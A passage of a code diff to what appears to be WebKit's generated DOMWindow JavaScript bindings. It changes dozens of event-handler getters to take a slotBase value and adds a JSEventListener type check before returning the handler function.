+JSValue jsDOMWindowOndragenter(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->ondragenter()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOndragleave(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOndragleave(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->ondragleave()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOndragover(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOndragover(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->ondragover()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOndragstart(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOndragstart(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->ondragstart()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOndrop(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOndrop(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->ondrop()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOndurationchange(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOndurationchange(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->ondurationchange()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnemptied(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnemptied(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onemptied()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnended(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnended(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onended()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnerror(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnerror(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onerror()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnfocus(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnfocus(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onfocus()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnhashchange(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnhashchange(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onhashchange()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOninput(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOninput(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->oninput()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOninvalid(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOninvalid(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->oninvalid()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnkeydown(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnkeydown(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onkeydown()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnkeypress(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnkeypress(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onkeypress()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnkeyup(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnkeyup(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onkeyup()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnload(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnload(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onload()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnloadeddata(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnloadeddata(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onloadeddata()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnloadedmetadata(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnloadedmetadata(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onloadedmetadata()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnloadstart(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnloadstart(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onloadstart()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnmessage(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnmessage(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onmessage()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnmousedown(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnmousedown(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onmousedown()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnmousemove(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnmousemove(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onmousemove()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnmouseout(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnmouseout(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onmouseout()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnmouseover(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnmouseover(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onmouseover()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnmouseup(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnmouseup(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onmouseup()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnmousewheel(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnmousewheel(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onmousewheel()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnoffline(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnoffline(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onoffline()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnonline(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnonline(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->ononline()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnpagehide(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnpagehide(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onpagehide()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnpageshow(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnpageshow(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onpageshow()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnpause(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnpause(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onpause()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnplay(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnplay(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onplay()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnplaying(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnplaying(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onplaying()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+
+JSValue jsDOMWindowOnpopstate(ExecState* exec, JSValue slotBase, const Identifier&)
+{
